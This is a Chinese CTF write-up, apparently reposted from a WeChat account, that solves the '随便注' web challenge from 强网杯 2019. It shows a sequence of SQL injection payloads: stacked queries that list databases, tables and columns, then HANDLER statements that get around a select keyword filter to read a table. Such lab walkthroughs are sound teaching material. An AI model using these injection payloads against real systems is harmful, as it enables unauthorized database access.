首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >[强网杯 2019]随便注

[强网杯 2019]随便注

作者头像
熔城Sec
发布2026-07-22 20:50:25
发布2026-07-22 20:50:25
760
举报

01、题目简介

  • 题目名称:[强网杯 2019]随便注
  • 题目平台:CTF²
  • 题目类型:Web

02、解题步骤

启动并访问靶机

输入经典语句进行注入测试

代码语言:javascript
复制
1'

发现存在报错

对语句进行闭合

代码语言:javascript
复制
1'#
代码语言:javascript
复制
判断为三列,进行注入
代码语言:javascript
复制
1' order by 3#
代码语言:javascript
复制
发现无法注入,可能存在屏蔽词,进行堆叠注入尝试
代码语言:javascript
复制
0';show databases#
代码语言:javascript
复制
进行查表操作
代码语言:javascript
复制
0';show tables#
代码语言:javascript
复制
查看表中内容
代码语言:javascript
复制
0';show columns from `1919810931114514`#
代码语言:javascript
复制
0';show columns from words;#

因为select关键字被过滤了,所以我们可以使用handle进行注入

handle是Mysql语句,可以逐行浏览某个表中的数据

代码语言:javascript
复制
0';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2026-06-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 熔城Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档